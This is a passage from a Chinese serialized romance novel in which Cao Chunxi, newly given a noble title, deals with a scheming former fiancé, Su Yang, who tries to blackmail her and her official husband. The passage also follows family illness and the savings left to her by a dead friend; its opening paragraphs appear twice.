她这样的出身,还给人做过丫鬟,却嫁给了一位如意郎君,一举得子不说,还白捡个闺女,如今没了公爹公婆压着,又沾着公主的光得了诰命,谁能有她的日子好过? 春喜肩背挺直,坦然接受着众人的打量。 她比谁都明白,今日的一切荣光和赞许并非靠老天眷顾,而是她自己一点点努力得来的。 成婚之前,她承诺过会尽心尽力做好沈夫人。 如今,她终于可以跟大人并肩。 正想着,沈清渊递来酒杯:“夫人,恭喜。” 春喜接过酒杯和沈清渊轻轻一碰,在清脆的碰撞声中弯眸道:“夫君,同喜。” 实在高兴,春喜多喝了两杯,到家时是被沈清渊抱下马车的。 她嘀嘀咕咕小声跟沈清渊说着话,耳边突然传来一道伤感又不可置信的声音:“阿喜,你真的成婚了?” 循声望去,一个长相清俊的男子正站在不远处,哀怨地看着他们。 春喜眼皮一跳,然后就听见沈清渊问:“夫人,这位公子是谁?” “……” 夫君,我好像忘记说了,我爹之前给我订过一门娃娃亲来着。 一件。 恒阳公主加封裕安大长公主,赐鸾凤车架,五品以下的官员见到恒阳公主都要行礼问安。 萧清禾获封清韵县主,食邑三百,春喜则得了三品夫人的诰命。 圣旨一出,满堂道贺,那些原本瞧不起春喜的人,这会儿都忍不住投来艳羡的目光。 这个曹春喜的命可真好啊。 她这样的出身,还给人做过丫鬟,却嫁给了一位如意郎君,一举得子不说,还白捡个闺女,如今没了公爹公婆压着,又沾着公主的光得了诰命,谁能有她的日子好过? 春喜肩背挺直,坦然接受着众人的打量。 她比谁都明白,今日的一切荣光和赞许并非靠老天眷顾,而是她自己一点点努力得来的。 成婚之前,她承诺过会尽心尽力做好沈夫人。 如今,她终于可以跟大人并肩。 正想着,沈清渊递来酒杯:“夫人,恭喜。” 春喜接过酒杯和沈清渊轻轻一碰,在清脆的碰撞声中弯眸道:“夫君,同喜。” 实在高兴,春喜多喝了两杯,到家时是被沈清渊抱下马车的。 她嘀嘀咕咕小声跟沈清渊说着话,耳边突然传来一道伤感又不可置信的声音:“阿喜,你真的成婚了?” 循声望去,一个长相清俊的男子正站在不远处,哀怨地看着他们。 春喜眼皮一跳,然后就听见沈清渊问:“夫人,这位公子是谁?” “……” 夫君,我好像忘记说了,我爹之前给我订过一门娃娃亲来着。 第327章 沈大人强夺人妻 深夜,沈府前厅。 沈清渊和春喜并排坐在主位,春喜的酒已经完全醒了。 等苏扬喝完一口热茶,她才开口:“伯母的身体还好吗,你怎么突然回京了?” 苏扬是曹父当年所在镖局的少当家,曹父跟苏父是生死之交,两人关系很好,春喜经常被带到镖局去玩,跟苏扬也算得上是两小无猜。 苏父很喜欢春喜天不怕地不怕的性子,跟曹父提过好多次,最终为两人订下娃娃亲,曹父意外身故后,是苏父帮着处理的后事,还拿了不少钱算作补偿。 不过那时王氏承受不了丧夫之痛,对苏父的态度很恶劣,根本不许苏父踏入曹家,没过两年,苏父也因病离世,苏母无法支撑镖局,只能将镖局解散,带着苏扬回去投奔娘家。 春喜那时已卖身入了卫家,直到过年放假回家才得知此事。 没能跟苏扬告别,春喜遗憾了好久,不过当时她年纪尚小,情窦未开,这么多年过去,更是早就忘了这桩娃娃亲。 只是她没想到,苏扬还会找上门来。 苏扬放下茶盏,叹了口气,伤感道:“父亲离世后,母亲未再改嫁,日积月累,相思成疾,如今已是时日无多,但她一直记着父亲和曹伯父的约定,临终前最大的心愿就是能看到你我完婚。” “……你和伯母离京这么多年,咱们两家早就断了联系,我也在去年嫁了人,如今孩子都已经足月,当年的约定也应该作废。” 春喜刚说完,苏扬就摇头道:“怎么能作废呢,这些年我和母亲一直记着这件事,我和母亲回到外祖家刚开始日子很艰难,我没有写信联系你,也是不想给你增加负担,我为了你发奋苦读,今年春闱终于考上了进士,又为你买回老宅,就等着风风光光迎你过门,你要毁约为何不告诉我一声?” 说到最后,苏扬的语气带了责备,好像春喜是什么负心薄情之人,害苦了他。 春喜被苏扬的理直气壮惊到。 这功名是他为自己考的,宅院是买回来他们自己住的,当年他们一走了之,杳无音信,她连他们是死是活都不知道,却要被扣上天大的一份恩情。 他怎么不说他是为了她才活到现在的? 春喜无语,沈清渊适时开口:“阿喜已嫁我为妻,此事早成定局,再说以前的事已经没有意义,苏公子想如何解决此事不妨直说。” 今日要入宫赴宴,沈清渊穿了一身藏青色银丝绣竹叶纹锦衣,虽然没有穿官服那样让人心生敬畏,却也气势逼人。 苏扬没敢用对春喜的语气跟沈清渊说话,他轻咳两声:“沈大人说的有道理,事情已经这样了,我也不能棒打鸳鸯,但我为了信守承诺,至今未娶,你们得为我的婚事负责。” 苏扬说完立刻又补充道:“我母亲眼下病重,很想见阿喜一面,但她眼下受不得刺激,还请沈夫人登门时先换回少女打扮。” 苏扬很是自然地提出要求,春喜蹙眉,正要拒绝,又听到苏扬说:“沈大人如今圣眷正浓,应该不想传出强夺人妻之事吧?” 说这话时,苏扬的表情带了两分得意,威胁意味十足。 春喜瞬间明白,苏扬今日登门并非一时冲动,而是蓄谋已久。 他露出了獠牙,春喜反倒冷静下来,沈清渊更是面不改色,颔首道:“好,就按苏公子说的办。” 得了沈清渊的话,苏扬露出喜色,大摇大摆地离开。 回到家,苏母立刻迎上来:“如何,他们答应了吗?可有为难你?” “我如今已是进士之身,他们可不敢拿我怎么样,如我所料,沈清渊怕有损自己的名声,一口就答应下来,过两日曹春喜就会提着礼物来看娘。” “好,真是太好了,到时候把你的那些朋友都叫来,只要让他们知道曹春喜是你的未婚妻,有这个把柄在,沈清渊就只能把你举荐到御前,还得让曹春喜再说一门更好的亲事补偿于你。” 苏母激动的破了音。 她的身体的确不大好,但并不像苏扬说的那样病入膏肓,在听到好消息后,更是两眼放光,整个人都精神抖擞起来。 苏扬也是下巴高抬,已经看到自己踩着沈清渊步步高升的未来。 为了准备春闱,他和苏母其实去年年初就回京了。 那时春喜才刚拿了身契从卫家出来,苏扬听说她在卫家为奴为婢,还给人端屎端尿,心里嫌弃至极,根本没有露面让春喜知道。 后来春喜嫁给了沈清渊,日子越过越红火,苏扬心里就不平衡起来,他一边骂着春喜忘恩负义不检点,一边精心地算计能从春喜身上讨到多少好处。 这一年多的时间,苏扬除了念书,其他时间都在让人打听春喜和沈清渊的事。 沈清渊这个人看似冷漠不近人情,却对春喜极为维护,如今两人有了孩子,感情正浓,就算沈清渊不顾惜自己的名声,也舍不得让春喜再遭人非议。 所以这个时候登门,时机正好。 首战告捷,苏扬已经开始掂量瀚京哪位世家小姐能配得上自己了。 靠沈清渊终究不是长久之计,找个底蕴丰厚的岳家才是最好的。 曹春喜虽与恒阳公主交好,但皇室贵女脾气大又娇气,娶回来怕是要当祖宗供起来,不如娶萧家女吧。 萧大小姐刚刚和离,萧家女子的名声皆被牵连,这个时候让曹春喜帮忙做媒,应该能成。 想到这里,苏扬忍不住哼起歌来。 第二日一大早,虎叔就把苏家母子的所有底细都告诉了春喜。 苏扬和苏母在去年年初就回了京,不仅买回了苏家老宅,两人的吃穿用度还颇为奢靡。 中了进士后,苏扬春风得意,宴请不断,每次宴请,他都会极力抹黑自己的外祖家,说自己和苏母这些年过得有多不容易,把自己塑造成大孝子,当然,他也会说自己有个深爱多年的未婚妻,虽然这些年他跟未婚妻从无联络,但他寒窗苦读、考取功名,都是为了这位未婚妻。 春喜听完,思忖片刻对虎叔说:“麻烦您带人去苏扬的外祖家查一下,看看他们母子手里的钱是如何来的。” “是。” 虎叔走后,春喜想跟沈清渊商量对策,一抬头就看到沈清渊眼含戏谑盯着自己。 春喜横了沈清渊一眼:“夫君可是在看我的笑话?” 沈清渊摇头:“没有,为夫只是觉得夫人惩治小人的样子很可爱。” 第328章 王氏病了 除了让虎叔和豹叔去调查苏家母子,春喜还去木匠铺子找了曹武。 立冬后天气转凉,春喜已经加上厚衣服,曹武光着膀子干活还累得一身的汗。 铺子渐渐上了正轨,曹武雇了个伙计待客,还收了两个小徒弟。 春喜一进门,伙计就热情地迎上来介绍,曹武听到声音也转过身来,看到春喜,顿时咧嘴笑起:“阿喜,你怎么来了?我给安安和宁儿各做了个木马,正打算过几日给你送来呢。” 曹武说着转身从一堆木屑里拎出两只做工精致的木马来。 他人虽然高高壮壮,这木马却做得十分的小巧可爱,叫人一看就觉得喜欢。 “多谢大哥,大哥这手艺真是越来越好了。” 春喜毫不客气地让人把木马搬到马车上,正要说正事,店里又来了客人。 这次来的是酒楼老板,他听闻曹武的手艺好,用料也好,准备订一批桌凳,在城西再开一家新店。 这可是难得的大买卖,春喜当即道:“我不着急,正好去附近买点儿东西,大哥先谈正事。” 春喜说完走出铺子,刚走了没两步,又见李婶着急忙慌地跑来。 约莫是还记恨春喜之前没雇自己做事,李婶装作没看到春喜,直接冲进铺子大声道:“阿武,不好了,你娘要不行了,你快跟我回家去吧。” 曹武大惊,当即就要跟李婶走,春喜拦住他:“我可以送娘去医馆看病,大哥你还是先招待客人吧。” 曹武犹豫。 酒楼这笔买卖不仅赚得多,还可以把名声打出去,到时候生意肯定更多,他这铺子规模也能扩大,若是错过,就不知道还能不能遇到这么大的订单了。 李婶见状阴阳怪气:“阿武,你家阿喜可是早就翻脸不认人,你娘的病都是被她气的,你让她回家照顾你娘也不怕把你娘气死?” 曹武皱紧眉头,却没有听李婶挑拨,冷冷开口:“李婶,我娘是因为我不争气才被气病的,跟阿喜一点儿关系都没有,阿喜是我们三兄妹中最孝顺的,她愿意照顾娘,我比谁都放心。” 曹武说完抓了一把银钱给春喜:“阿喜你先送娘去医馆,等我处理完铺子里的事,马上就来。” 春喜没有推辞,拿着钱上了马车。 李婶见挑拨无效,翻了曹武一个大大的白眼,而后就要往马车上爬。 曹家离这铺子可不近,跑这一趟怪累的。 然而她刚有动作,阿鲤就扬了马鞭,驱车而去。 李婶扑了个空,险些摔倒,气得怒骂:“曹春喜,你这个没良心的,我好心来给你家报信,你连载我一程都不肯,等着瞧吧,我看你得意到几时!” 李婶骂完气冲冲地冲回铺子里坐下。 曹武没理她,把客人引到后院细细商谈。 这边阿鲤很快驾着马车来到曹家。 大嫂钱氏和正儿都不在,院子里空落落的。 春喜跨入院中,直奔王氏的屋子,门一开,春喜就闻到了浓郁的药味。 才刚立冬,王氏已盖上了厚厚的棉被。 这一次她没有虚张声势,她是真的病了。 春喜叫来阿鲤把王氏背上马车,朝着回春堂赶去。 半路,王氏醒转过来,看到春喜,她先是一愣,而后喃喃:“好端端的,怎么梦到你这个冤家了。” 王氏瘦了许多,声音也很沙哑,整个人虚弱极了,再没有之前跟春喜吵嚷的气势。 春喜垂着眸没应声。 王氏病得分不清现实和梦境,自顾自道:“我知道你怨我偏心,怨我没有你爹疼你,可谁家养女儿不是这样的?你终归是要嫁到别人家去的,以后养老送终我都指望不上你,我当然要为阿武和阿文多想一些,别人都是这样做的,你怎么偏偏就恨上我了呢?” “你恨我也就罢了,你弟弟阿文还那么小,你怎么能这么狠心把他送去官府让他去流放,现在还把你大嫂也气走了,现在这个家被你拆散了,你满意了?” 王氏说着红了眼,怨念很深。 春喜还是没有说话。 王氏都这样了,她没必要争论对错,而且对错对她来说已经没有意义了。 她现在有宠爱自己的夫君,也有自己的孩子,她会把日子过得很好。 马车很快来到回春堂,医馆伙计帮着把王氏抬进去。 经过诊治,王氏是积郁在心,加上前几日感染了风寒,所以才会病倒,情况倒不是十分严重,只是需要多疏解情绪,不能总是生闷气。 喝下一帖药,王氏咳出了痰很快睡过去。 春喜盯着王氏断指的地方看了许久,直到曹武赶来才走出房间。 “娘怎么样了?” 春喜把大夫说的话转述了一遍,安慰道:“整体来说没什么大碍,就是需要她自己想开点儿,不要总是生闷气,大哥还不打算把大嫂和正儿接回来吗?” 曹武沉了脸:“他们一家都想逼我低头认错,这个错我是不会认的。” 以前为了哄着娘,他总是认下不该认的错,所以让娘行事越发离谱荒唐,如今他决心改变,不会再以没有底线的认错来换取表面的安宁。 曹武有自己的想法,春喜点点头没再劝。 曹武把诊金和买药的钱补给春喜,而后问:“阿喜今日来找我究竟为了什么事?” “大哥可还记得苏扬?” 曹武拧眉,片刻后惊讶道:“他回京了?不会是来找你和妹夫了吧?” “爹和苏伯父生前曾给我们定下娃娃亲,但后来爹出了事,娘不许苏伯父再登门,两家的关系也恶化下去,我想知道我卖身进卫家之后,娘有没有跟苏伯父提过退亲之事,或者两家有没有写下婚书交换什么信物?” 曹父出事后,家里的一切都乱了套,春喜当时年纪尚小,又进了卫家,对这些细节就更不清楚了。 曹武记忆中倒是还见过苏父几次,每次苏父来,王氏都免不了大闹一场,但这么多年过去,好多记忆都模糊了,曹武也不记得具体发生了什么。 “这事要问娘才知道,阿喜你放心,等娘醒了,我一定问清楚,要是苏扬敢拿这件事纠缠于你,我第一个不放过他!” 怕曹武冲动,春喜连忙道:“我已经有应对之策了,大哥不必紧张。” 她只是想问清楚细节,免得有所疏漏。 春喜很是淡然,曹武也放心下来。 傍晚,他带着王氏回家,刚服侍王氏躺下,院子里就传来苏扬殷勤的声音:“伯母、曹大哥,你们在家吗?” 第329章 沈夫人是岚舒唯一的朋友 立冬宫宴后,春喜得了诰命的消息宣扬开来,瀚京世家夫人的帖子像雪花一样送进沈府。 有要来府上探望的,有邀她一起出游上香的,也有邀她到府上吃酒的。 春喜没急着外出交际,带着安安和宁儿一起去了萧家看望萧老夫人。 安安先天体弱,精心养了几个月,如今瞧着和宁儿差不多大,都是胖嘟嘟的,小手小脚跟藕节似的,白白嫩嫩透着奶香。 两个孩子都是第一次出门,圆溜溜的大眼睛好奇地东张西望,萧老夫人看着笑得合不拢嘴:“这两个孩子被阿喜养得真好,跟年画娃娃似的,等以后会说话了不知要多讨人喜欢。” 春喜弯眸:“等他们会说话了就该闹人了,到时我招架不住,恐怕总要来叨扰舅母,好躲一躲闲,舅母不要嫌弃他们就好。” “不嫌弃,我年纪大了,就爱看着孩子们闹腾。” 萧老夫人到底年纪大了,前些日子又病了一场,如今虽已大好,但精神还是不济,没一会儿就有些累了。 春喜忙让奶娘抱着孩子去喂奶,然后跟萧老夫人说起最近收到的帖子。 萧老夫人笑着道:“与人交际,最重要的是心诚,不带目的,阿喜你向来都做得很好,我相信你看人也是准的,如今你已得了诰命,再没有人敢拿你的出身说事,你不必顾虑太多,多认识一些人对你来说其实是好事。” 萧老夫人并没有直接告诉春喜与谁结交更好,而是让她多认识人,自己去分辨挑选。 这既是对春喜的鼓励,也是对她身为沈夫人的认可。 春喜心中大定,弯眸道:“多谢舅母指点。” 中午春喜照旧留下来用饭,萧夫人也带着萧清禾和萧清月来了。 见两个孩子十分可爱,萧夫人欢喜之后,眸底忍不住染上忧色。 要是禾儿没有经历那么多不好的事,她的外孙都该学走路了。 禾儿还年轻,如今卫凌泽已死,上门提亲的人倒是不少,其中不乏家世人品好的,只可惜,禾儿一口咬死不愿再嫁。 萧家不是养不起禾儿,萧夫人也不愿逼着女儿再嫁,可女子的大好年华何其短暂,等过几年,禾儿想通了,愿意再试试,哪还有这么多好儿郎可供挑选? 萧夫人想得入神,不自觉叹了口气。 萧清月知道萧夫人在忧心什么,但不想让阿姐有压力,当即转移话题:“阿辰哥哥再过不久就要办开府宴了,小婶婶什么时候有时间,咱们一起去给他选贺礼吧。” “好啊。” 春喜点头,萧老夫人也对萧夫人道:“辰儿是个好孩子,他的家人都已不在世,如今又未成婚,你派人多帮他操持一下。” 萧夫人回过神来,连忙道:“母亲说的是,他如今立了功,又单独开府,最近有不少夫人都有意跟我打听他喜欢什么样的姑娘呢,只是他最近还在养伤,我还没有问过他的意思。” 家里出了个家喻户晓的大英雄,萧清月可骄傲了,对萧夜辰的关注自然也多了些。 萧夫人刚说完,她立刻接话:“阿辰哥哥伤得可不轻,陛下派了御医来看过,说他身上可多伤了,尤其是腰腹的位置,有条这么长的伤口。” 萧清月说着用手比划了下。 萧夫人连忙呵斥:“月儿,慎言!” 一个未出阁的姑娘,把男人腰上的伤挂在嘴上像什么话? 萧清月缩了缩脖子,小声解释:“娘,我又没去看过,都是听府里的下人说的,听说阿辰哥哥回来的时候,腰上的伤口都还没结痂呢,我想想都觉得疼,也不知道他是怎么做到面不改色、一声不吭的。” “敢上战场的人,哪有连这点儿疼都忍不了的,好了,以后不许提了。” 萧夫人说着夹了一筷子菜到萧清月碗里,暗示她多吃饭少说话。 萧清月哼了一声,不甘不愿地埋头吃饭。 饭后,萧清月被萧夫人勒令回院子学规矩,萧清禾送春喜出门。 两人刚走过垂花门,便碰到了萧夜辰。 回到萧家,他卸了战甲,换上了寻常衣裳,许是为了换药方便,衣服瞧着有些松垮,他整个人也褪去一身杀伐之气,加上有些苍白的脸色,显出两分病弱来。 脸上的疤痕淡了些,瞧着并不狰狞,反而有种让人怜惜的破碎感。 “萧将军。” 春喜主动打招呼,萧夜辰鼻尖溢出一声“嗯”,而后从怀里摸出一张纸递给春喜:“这是岚舒托我转交给沈夫人的。” 春喜意外,接过那张纸打开,发现竟是一张钱庄的存票,且数额高达好几万两。 存票被血浸染过,但字迹清晰,明明白白写着春喜的名字。 “岚舒说沈夫人给他推荐的那些铺子和吃食都很好吃,沈夫人也是他在这世上唯一的朋友,他之前就料到自己会出事,思来想去,这些年攒下来的积蓄唯一能托付的只有沈夫人。” 春喜爱钱,哪怕现在已经是得了诰命的夫人,她也还是爱钱。 但当岚舒把他全部的积蓄这样轻飘飘地交到她手上,她感觉不到一点儿开心,只觉得心脏又沉又闷。 她和岚舒的交集不多,对岚舒的关心更是只有浮于表面的几句话,可就因为这几句话,岚舒把这些年所有的积蓄都托付给了他。 他到底过着怎样的日子,才会如此倾尽全力去回报这一点微不足道的好? “岚舒公子现在在哪儿?” 春喜已经有了不好的预感,却还是忍不住追问,萧夜辰眉心微拧,沉沉道:“他死了。” 和卫凌泽一样死在翁州。 但因为他没有家人,身份更是低下,所以他的尸首不会专门运回瀚京。 甚至除了萧夜辰,都没人在意他的死活。 春喜的心越发地沉,片刻后,她收起存票,看着萧夜辰问:“萧将军能帮忙找到一些岚舒公子的旧物吗,我想帮他立个衣冠冢,还有,我想用这笔钱替无忧阁里那些小倌赎身。” 春喜说完,萧夜辰眸底闪过异色。 竟然……被岚舒猜对了。 第330章 以后跟我说话客气点 “我打算解散无忧阁,赎身就不用了,这些钱沈夫人还是自己留着吧。” 春喜并不意外萧夜辰会做这样的决定。 他已是青麟将军,还有了御赐的府邸,自然不能再沾染无忧阁这样的买卖。 春喜点点头,又道:“既然不需要赎身,这些钱还可以拿来安置阁里那些人,麻烦萧将军拿份名单给我,我会找人算好账目,到时还得有劳萧将军帮忙把钱分给他们。” 春喜执意要把钱如此处置,萧夜辰也没再多劝,颔首道:“好。” 春喜道了谢离开。 萧夜辰站在原地没动,眉眼微垂,余光却在拼命地看向萧清禾。 这张存票他其实可以派人送给沈夫人,也可以过些时日再给沈夫人,但一听说沈夫人来了萧家,他就顾不得那么多,只想借着这个机会来看看大小姐 再过一段时间,将军府建好,他就要搬出萧家了,到时能见大小姐的机会就更少了。 听说前些日子已经有人来向大小姐提亲了,好些家世人品都很不错,可都被大小姐拒绝了。 大小姐被伤透了心,不想再嫁了。 站了片刻,见萧清禾似乎也没有要走的意思,萧夜辰立刻绞尽脑汁想话题:“我……我脸上有疤了,没吓到大小姐吧?” “自然不会,”萧清禾毫不犹豫地回答,“将军这伤是为了昭陵万千百姓受的,是英雄的象征,无论是我还是其他人,看到将军只会觉得钦佩,而不是惧怕。” 萧清禾语气坚定,萧夜辰竭力控制,却还是忍不住唇角上扬,这时他又听到萧清禾问:“将军身上的伤好些了吗?” “好多了!”萧夜辰连忙点头,怕萧清禾不信,他甚至打了两下拳,“御医给我用了最好的药,我现在已经可以行动自如了。” 萧夜辰打完,跟在萧清禾身后的雀枝忍不住扑哧一声笑出来。 萧清禾警告地看了雀枝一眼,柔声对萧夜辰道:“将军恢复得好就好,婢女失礼,我代她向将军赔罪。” 萧清禾说着福身行礼,萧夜辰连忙伸出手,却又在快要碰到萧清禾胳膊的那一刻生生停下:“萧家对我有养育之恩,我虽被封为将军,但永远不会对萧家人摆架子,大小姐不必如此。” 话题到此结束,萧清禾带着雀枝离开。 直到两人的身影消失在垂花门后,萧夜辰才黯然离去。 回到院中,萧清禾严肃地看着雀枝:“他之前虽受了萧家的恩,但如今是陛下亲封的青麟将军,今日之事若再有下次,我定不轻饶。” 萧清禾是认真的,雀枝不敢嬉皮笑脸,连忙认错,等萧清禾脸色缓和了些,又忍不住说:“奴婢不是想笑话萧将军,只是刚刚莫名觉得外面传说杀人不眨眼的萧将军在小姐面前好像一只叼着骨头讨好的大狗,奴婢实在没忍住。” 这形容越发过分了。 萧清禾拧紧眉头,雀枝连忙道:“奴婢失言,奴婢这就去屋外罚站思过。” ** 春喜回到家,立刻找了铺子里的掌柜来议事。 无忧阁那些小倌基本都是无亲无故之人,有的甚至是比阿鲤还小的半大孩子,猛然放他们自由,给他们一笔钱,他们也不一定能找到安身立命之所,反倒容易走上歪路。 春喜打算让这些掌柜亲自去看看,把那些踏实的愿意做事的人招来,给他们安排个可以养活自己的活计,若是有人染了销魂香,更要找地方好生看着,不能放出去惹是生非。 和掌柜们商议完,已是傍晚。 春喜累得口干舌燥,喝完一杯茶才回过味儿来。 岚舒哪里是把所有的积蓄给了她,分明是硬塞给了她一个大麻烦。 她算是明白了,岚舒这人惯会算计。 接下来几日春喜不是忙着出去赴宴,就是忙着安置无忧阁小倌的事,完完全全把苏扬抛在脑后。 苏扬在家等了好几日都没见春喜登门,很快坐不住,只能再次登门。 傍晚,春喜从外面赴宴回来,就看到苏扬端坐在前厅。 一看到春喜,苏扬就激动地起身冲过来:“我娘今日咳血了,你不是答应我要去看她的吗,到底要拖到什么时候?我告诉你,要是我娘抱憾而终,你跟沈清渊也休想好过!” 苏扬话里都是责备,知道沈清渊不在家,气势也很足。 在他看来,沈清渊能成为御前的红人,那肯定是有真本事的,但曹春喜就是个出身低下的弱女子,不过是走了狗屎运,被沈清渊看上才能妻凭夫贵。 他只要凶一些,曹春喜就会被吓得六神无主,为了保住名声,只能对他言听计从。 苏扬心里都是得意,然而他话音刚落,就听到春喜厉声呵斥:“放肆!” 随着春喜这一声喝,阿鲤冲进来就给了苏扬一巴掌:“我家夫人才得了三品的诰命,你算什么东西,也配在我家夫人面前吆五喝六?” 阿鲤力气大,这一巴掌扇得苏扬踉跄着后退了几步,险些没站稳。 他刚刚还想拿捏春喜,没想到反被春喜惩治,脸上很是挂不住,瞪大眼睛怒道:“曹春喜,你不守承诺悔婚在先,现在还敢打我,你就不怕我把这些事都抖落出去?” “我自然是怕的,”春喜点头,不等苏扬开口,话锋一转,“我怕你难道就不怕?你没有直接把事情捅出去,而是来威胁我,不就是想从我身上讨到好处吗,如今好处还没到手,你闹得人尽皆知有什么意思?” “……” 春喜一语中的,苏扬噎住。 见他安静下来,春喜勾了勾唇,她在主位坐下,慢悠悠地喝了杯茶才又继续道:“你想要的好处我可以给你,但以后你对我说话得客气些,明白了吗。” 苏扬咬牙,从齿缝里挤出一句:“明白了。” 等他爬上高位,他定要把今日这一巴掌十倍百倍地还给曹春喜! 春喜忽略苏扬眸底遮掩不住的恨意,站起身来:“伯母既然病重,弥留之际我肯定还是要去看看的,走吧。” 苏扬脱口而出:“现在就去?” 他都还没来得及通知好友呢,没人做见证,这戏演给谁看? 第331章 冯姑娘 苏家老宅在城西方向,苏父在时,镖局人来人往,周围商铺林立,这一片还挺热闹的,如今却早已变得萧索。 春喜刚下马车,就听到苏扬提醒:“你的头发……” 他还是惦记着让春喜梳回少女妆扮,春喜勾唇,似笑非笑地睨着他:“苏伯母都病成这样了,你还有心思在意这个?” “……” 苏扬不说话了,带着春喜走进去。 苏扬不仅买回了宅子,还买了门房和丫鬟,这会儿府里灯火通明,一路走来,不断有人行礼,唤苏扬老爷。 排场挺大的。 春喜正想着,苏母突然哭喊着跑来:“扬儿,你可算回来了,有鬼,这宅子闹鬼啊!” 苏母吓得不轻,快到两人跟前时,突然踩到裙摆,扑通一声跪了下去。 春喜连忙侧身避开。 如此大礼她可承受不起。 苏扬一路上还在盘算着怎么让苏母装病让春喜心软,没想到苏母会闹这么一出,他第一时间把苏母扶起来,压着怒火问:“娘,你胡说什么呢,这世上哪有鬼?” “有的,我亲眼看见了,一定是他们跟来了!” 苏母满脸惊惧,声音哆嗦着,站都站不稳。 苏扬脸色微变,怕她说出什么来,加重力道捏住苏母的胳膊:“娘,你病糊涂了,没人跟着你,你瞧瞧谁来看你了。” 苏母吓得不轻,根本没有心思在意春喜,只拽着苏扬的胳膊说:“扬儿,你快去请人来驱邪,不然那些人会来找我们索命的,咱们好不容易才走到今天,不能功亏一篑……” 苏母吓得胡言乱语,苏扬及时捂住她的嘴冲春喜道:“我娘发病了,这会儿认不清人,沈夫人还是先回去吧,等她清醒过来,我再来找沈夫人。” “都说白日不做亏心事,夜半不怕鬼敲门,苏伯母这样,不会是做了什么亏心事吧?” 春喜话里有话,苏扬表情一僵,皱眉道:“我娘只是病糊涂了,还请沈夫人莫要胡言乱语,来人,送客!” 苏扬下了逐客令,春喜也没继续赖着,不过她觉得苏家老宅闹鬼的事有蹊跷,派人暗中盯着。 两天后,曹武关了铺子的门,便又带着伙计和徒弟去往苏家老宅,只是走到半路,就被春喜拦住:“这么晚了,大哥不回家照顾娘,这是要去哪儿?” 曹武不擅长撒谎,挠挠头,语气僵硬地回答:“哈哈哈,我这不是刚接了笔大买卖,准备带他们好好庆祝一下嘛。” 春喜没有戳穿,点头道:“的确是该好好庆祝一下,我在醉仙楼订了包厢和酒菜,大家一起去吧。” “呃,阿喜,我今天还有事……” 曹武试图拒绝,被春喜打断:“什么事这么重要,竟然能让大哥扔下还在病中的娘和好不容易决定请客的妹妹?” “……” 曹武说不出口,憋了半天涨红了脸,最终只能带着人跟春喜去了醉仙楼。 春喜很大方,点了上好的酒菜,曹武接了大单,这几日铺子里的人都累坏了,菜一上桌,他们就什么都顾不上,吭哧吭哧地吃起来。 酒足饭饱,几人道了谢,扶着肚子回家,等人都走了,曹武一边打嗝儿一边说:“那天多亏了阿喜送娘去医馆我才能接下这笔大买卖,这顿饭应该我请才对,等我交了货,收到尾款,一定把钱还给阿喜。” “苏家伯母积郁成疾、缠绵病榻多年,回春堂的大夫说她恐怕时日无多了,大哥要是把她吓出个好歹来,不知要蹲多少年的大狱,哪有机会收尾款?” 曹武喝了好几杯酒,眼神正迷离着,冷不丁听到春喜这番话,吓得一个激灵,磕磕巴巴地问:“阿喜,你……你怎么知道?” “我不知道,就是诈一诈大哥,没想到大哥这么容易就承认了。” “……” 他就知道他不擅长撒谎,更不擅长在阿喜面前撒谎! 曹武的酒醒了一半,他挠挠头说:“苏扬来家里找过我,还想骗我和娘住进苏家老宅,帮他一起对付你和妹夫,我就是想给他一点儿教训,没想闹出人命。” 春喜其实也没想到曹武会做这样的事。 她这个大哥个头大,看着吓人,其实胆子小,心也软,遇到点儿事就会忍不住落泪。 以前都是春喜挡在他面前,免得他被欺负,这还是第一次,大哥在默默为她挡风遮雨。 春喜仰头看着曹武,温声问:“苏扬如今是个彻头彻尾的小人,大哥就不怕被他发现遭报复吗?” “我的机关做得很巧妙,还有铺子里的人帮忙,一般人是发现不了的。” 曹武解释,底气有些不足。 他自以为已经很周全,结果才刚开始就被阿喜发现了。 很快,曹武又道:“阿喜你放心,要是被发现,我肯定一人做事一人当,绝不连累你和妹夫,这些日子我开铺子遇到了很多人和事,才更加明白你离家这些年吃了多少苦,遭了多少罪。现在你的日子终于好起来了,我不能再任由别人欺负你。” 曹武语气坚定,虽然害怕事发,却没有半点儿后悔。 春喜心中触动,忍不住伸手抱了曹武一下:“大哥,谢谢你。” 自从春喜被卖进卫家,兄妹俩便日渐疏远,这会儿突然被抱住,曹武浑身发僵,脑子也有点儿懵:“阿喜,你不会是要哭吧,做大哥的就是该保护妹妹的,以前都是我做得不好,才让你受了许多委屈,以后我会努力做个好大哥的。” 春喜没想哭,她很快松开曹武,横了他一眼道:“大哥想保护我的心意是好的,但装神弄鬼吓唬别人不对,你妹夫毕竟是御史台的人,万一出事,可不能徇私枉法,我已派人去搜集苏扬的把柄,大哥日后不可再插手此事,明白吗?” 确认春喜没哭,曹武松了口气,连连点头:“我都听阿喜的。” 春喜回到家,虎叔也回来了,和他一起回来的,还有位冯姑娘。 一看到春喜,冯姑娘立刻跪下磕头:“民女有天大的冤屈,求沈夫人为民女做主!” 第332章 夫人还要为夫做多久的和尚? 冯姑娘全名冯茵茵,是苏扬舅舅的女儿。 冯茵茵的祖父在禹州开了一家医馆,父亲和两位兄长都一直跟着祖父学医,在医馆帮着做事,医馆的口碑很是不错,在禹州也算是有头有脸的人家。 冯茵茵虽是女儿,在家中却是万千宠爱集于一身。 苏扬跟着苏母回冯家后,经常对冯茵茵这个表妹献殷勤,冯父见苏扬念书用功、又是自家人,有意撮合两人,便不遗余力地供苏扬读书,并跟苏母约定好,等苏扬参加完春闱,就为两人举办婚礼。 为了更好地准备春闱,苏扬决定提前一年带着苏母回京,冯父给了两人一大笔银子,除了这一年的衣食住行,还把苏扬的日常交际和人脉打点都算在其中,只盼苏扬能够考个好名次,得个官身回去风风光光地迎娶冯茵茵。 然而苏扬和苏母前脚刚走,冯家就因为医死人惹上官司。 对方抬着尸体来医馆闹事,突然有很多人都跳出来说冯家故意开些不起效的药拖延治疗骗钱,冯茵茵的祖父被活活气死,父亲和两位兄长也被打成重伤,官府查封了医馆,还抄了家,一夕之间,冯家所有人都下了大牢。 冯茵茵的父兄因为没有及时得到救治,死在了牢中,冯茵茵和冯母也被判重罪,一直在采石场服役干活。 虎叔找到冯茵茵时,冯母正好病逝,冯茵茵想要寻短见,被虎叔救下。 “我祖父一生救人无数,我父兄更是坦荡正直之人,他们是绝对不会弄虚作假害人的,是苏扬跟外人勾结害了他们,求沈夫人为我做主!” 